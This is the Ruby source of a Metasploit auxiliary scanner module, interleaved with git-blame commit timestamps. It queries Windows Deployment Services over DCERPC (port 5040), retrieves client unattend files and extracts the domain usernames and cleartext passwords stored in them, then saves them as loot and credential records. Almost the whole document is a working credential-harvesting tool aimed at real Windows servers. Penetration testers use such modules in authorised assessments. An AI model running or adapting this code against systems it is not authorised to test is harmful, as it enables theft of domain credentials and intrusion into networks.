2013-01-31 19:53:37 +00:00
##
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-01-31 19:53:37 +00:00
##
require 'rex/proto/dcerpc'
require 'rex/proto/dcerpc/wdscp'
require 'rex/parser/unattend'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf :: Auxiliary
2013-09-05 21:21:26 +00:00
include Msf :: Exploit :: Remote :: DCERPC
include Msf :: Auxiliary :: Report
include Msf :: Auxiliary :: Scanner
DCERPCPacket = Rex :: Proto :: DCERPC :: Packet
DCERPCClient = Rex :: Proto :: DCERPC :: Client
DCERPCResponse = Rex :: Proto :: DCERPC :: Response
DCERPCUUID = Rex :: Proto :: DCERPC :: UUID
2013-10-12 17:52:45 +00:00
WDS_CONST = Rex :: Proto :: DCERPC :: WDSCP :: Constants
2013-09-05 21:21:26 +00:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Microsoft Windows Deployment Services Unattend Retrieval' ,
'Description' = > %q{
2013-10-12 18:52:15 +00:00
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials .
Tested against Windows 2008 R2 x64 and Windows 2003 x86 .
2013-09-05 21:21:26 +00:00
} ,
2014-04-09 15:46:10 +00:00
'Author' = > [ 'Ben Campbell' ] ,
2013-09-05 21:21:26 +00:00
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'MSDN' , 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx' ] ,
[ 'URL' , 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html' ]
] ,
) )
register_options (
[
Opt :: RPORT ( 5040 ) ,
2017-05-03 20:42:21 +00:00
] )
2013-09-05 21:21:26 +00:00
deregister_options ( 'RHOST' , 'CHOST' , 'CPORT' , 'SSL' , 'SSLVersion' )
register_advanced_options (
[
OptBool . new ( 'ENUM_ARM' , [ true , 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)' , false ] )
2017-05-03 20:42:21 +00:00
] )
2013-09-05 21:21:26 +00:00
end
def run_host ( ip )
2013-10-12 18:52:15 +00:00
begin
query_host ( ip )
rescue :: Interrupt
raise $!
2013-10-14 20:53:22 +00:00
rescue :: Rex :: ConnectionError = > e
print_error ( " #{ ip } : #{ rport } Connection Error: #{ e } " )
ensure
# Ensure socket is pulled down afterwards
self . dcerpc . socket . close rescue nil
self . dcerpc = nil
self . handle = nil
2013-10-12 18:52:15 +00:00
end
2013-09-05 21:21:26 +00:00
end
def query_host ( rhost )
# Create a handler with our UUID and Transfer Syntax
2013-10-12 17:52:45 +00:00
2013-09-05 21:21:26 +00:00
self . handle = Rex :: Proto :: DCERPC :: Handle . new (
[
WDS_CONST :: WDSCP_RPC_UUID ,
'1.0' ,
] ,
'ncacn_ip_tcp' ,
rhost ,
[ datastore [ 'RPORT' ] ]
)
print_status ( " Binding to #{ handle } ... " )
self . dcerpc = Rex :: Proto :: DCERPC :: Client . new ( self . handle , self . sock )
2013-10-14 20:53:22 +00:00
vprint_good ( " Bound to #{ handle } " )
2013-09-05 21:21:26 +00:00
report_service (
2013-10-12 18:52:15 +00:00
:host = > rhost ,
:port = > datastore [ 'RPORT' ] ,
:proto = > 'tcp' ,
:name = > " dcerpc " ,
:info = > " #{ WDS_CONST :: WDSCP_RPC_UUID } v1.0 Windows Deployment Services "
2013-09-05 21:21:26 +00:00
)
2016-08-10 18:30:09 +00:00
table = Rex :: Text :: Table . new ( {
2013-09-05 21:21:26 +00:00
'Header' = > 'Windows Deployment Services' ,
'Indent' = > 1 ,
'Columns' = > [ 'Architecture' , 'Type' , 'Domain' , 'Username' , 'Password' ]
} )
creds_found = false
WDS_CONST :: ARCHITECTURE . each do | architecture |
if architecture [ 0 ] == :ARM && ! datastore [ 'ENUM_ARM' ]
vprint_status " Skipping #{ architecture [ 0 ] } architecture due to adv option "
next
end
begin
result = request_client_unattend ( architecture )
rescue :: Rex :: Proto :: DCERPC :: Exceptions :: Fault = > e
vprint_error ( e . to_s )
2013-10-12 18:52:15 +00:00
print_error ( " #{ rhost } DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation. " )
2013-10-14 20:53:22 +00:00
return nil
2013-09-05 21:21:26 +00:00
end
unless result . nil?
loot_unattend ( architecture [ 0 ] , result )
results = parse_client_unattend ( result )
results . each do | result |
unless result . empty?
2013-10-14 20:53:22 +00:00
if result [ 'username' ] and result [ 'password' ]
2013-09-05 21:21:26 +00:00
print_good ( " Retrived #{ result [ 'type' ] } credentials for #{ architecture [ 0 ] } " )
creds_found = true
domain = " "
domain = result [ 'domain' ] if result [ 'domain' ]
report_creds ( domain , result [ 'username' ] , result [ 'password' ] )
table << [ architecture [ 0 ] , result [ 'type' ] , domain , result [ 'username' ] , result [ 'password' ] ]
end
end
end
end
end
if creds_found
print_line
table . print
print_line
else
print_error ( " No Unattend files received, service is unlikely to be configured for completely unattended installation. " )
end
end
def request_client_unattend ( architecture )
# Construct WDS Control Protocol Message
packet = Rex :: Proto :: DCERPC :: WDSCP :: Packet . new ( :REQUEST , :GET_CLIENT_UNATTEND )
2013-10-12 17:52:45 +00:00
2013-10-12 18:52:15 +00:00
guid = Rex :: Text . rand_text_hex ( 32 )
2013-10-12 17:52:45 +00:00
packet . add_var ( WDS_CONST :: VAR_NAME_CLIENT_GUID , guid )
# Not sure what this padding is for...
mac = [ 0x30 ] . pack ( 'C' ) * 20
2013-10-12 18:52:15 +00:00
mac << Rex :: Text . rand_text_hex ( 12 )
2013-10-12 17:52:45 +00:00
packet . add_var ( WDS_CONST :: VAR_NAME_CLIENT_MAC , mac )
2013-10-12 18:52:15 +00:00
arch = [ architecture [ 1 ] ] . pack ( 'C' )
packet . add_var ( WDS_CONST :: VAR_NAME_ARCHITECTURE , arch )
2013-10-12 17:52:45 +00:00
version = [ 1 ] . pack ( 'V' )
packet . add_var ( WDS_CONST :: VAR_NAME_VERSION , version )
2013-09-05 21:21:26 +00:00
wdsc_packet = packet . create
2013-10-14 20:53:22 +00:00
vprint_status ( " Sending #{ architecture [ 0 ] } Client Unattend request ... " )
2013-10-14 22:24:22 +00:00
dcerpc . call ( 0 , wdsc_packet , false )
2013-10-14 22:41:51 +00:00
timeout = datastore [ 'DCERPC::ReadTimeout' ]
2013-10-14 22:24:22 +00:00
response = Rex :: Proto :: DCERPC :: Client . read_response ( self . dcerpc . socket , timeout )
2013-09-05 21:21:26 +00:00
2013-10-14 22:24:22 +00:00
if ( response and response . stub_data )
2013-09-05 21:21:26 +00:00
vprint_status ( 'Received response ...' )
2013-10-14 22:24:22 +00:00
data = response . stub_data
2013-09-05 21:21:26 +00:00
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
2013-10-12 17:52:45 +00:00
op_error_code = data . unpack ( 'v*' ) [ 19 ]
2013-09-05 21:21:26 +00:00
if op_error_code == 0
if data . length < 277
vprint_error ( " No Unattend received for #{ architecture [ 0 ] } architecture " )
return nil
else
vprint_status ( " Received #{ architecture [ 0 ] } unattend file ... " )
return extract_unattend ( data )
end
else
vprint_error ( " Error code received for #{ architecture [ 0 ] } : #{ op_error_code } " )
return nil
end
end
end
def extract_unattend ( data )
start = data . index ( '<?xml' )
2013-10-14 20:53:22 +00:00
finish = data . index ( '</unattend>' )
if start and finish
finish += 10
return data [ start .. finish ]
else
print_error ( " Incomplete transmission or malformed unattend file. " )
return nil
end
2013-09-05 21:21:26 +00:00
end
def parse_client_unattend ( data )
begin
xml = REXML :: Document . new ( data )
2013-10-12 17:52:45 +00:00
return Rex :: Parser :: Unattend . parse ( xml ) . flatten
rescue REXML :: ParseException = > e
print_error ( " Invalid XML format " )
vprint_line ( e . message )
return nil
end
2013-09-05 21:21:26 +00:00
end
def loot_unattend ( archi , data )
2013-10-12 18:52:15 +00:00
return if data . empty?
p = store_loot ( 'windows.unattend.raw' , 'text/plain' , rhost , data , archi , " Windows Deployment Services " )
print_status ( " Raw version of #{ archi } saved as: #{ p } " )
2013-09-05 21:21:26 +00:00
end
2015-09-04 08:04:14 +00:00
def report_cred ( opts )
service_data = {
address : opts [ :ip ] ,
port : opts [ :port ] ,
service_name : opts [ :service_name ] ,
protocol : 'tcp' ,
workspace_id : myworkspace_id
}
credential_data = {
origin_type : :service ,
module_fullname : fullname ,
username : opts [ :user ] ,
private_data : opts [ :password ] ,
private_type : :password
} . merge ( service_data )
login_data = {
core : create_credential ( credential_data ) ,
status : Metasploit :: Model :: Login :: Status :: UNTRIED ,
proof : opts [ :proof ]
} . merge ( service_data )
create_credential_login ( login_data )
end
2013-09-05 21:21:26 +00:00
def report_creds ( domain , user , pass )
2015-09-04 08:04:14 +00:00
report_cred (
ip : rhost ,
port : 4050 ,
service_name : 'dcerpc' ,
user : " #{ domain } \\ #{ user } " ,
password : pass ,
proof : domain
)
2013-09-05 21:21:26 +00:00
end
2013-01-31 19:53:37 +00:00
end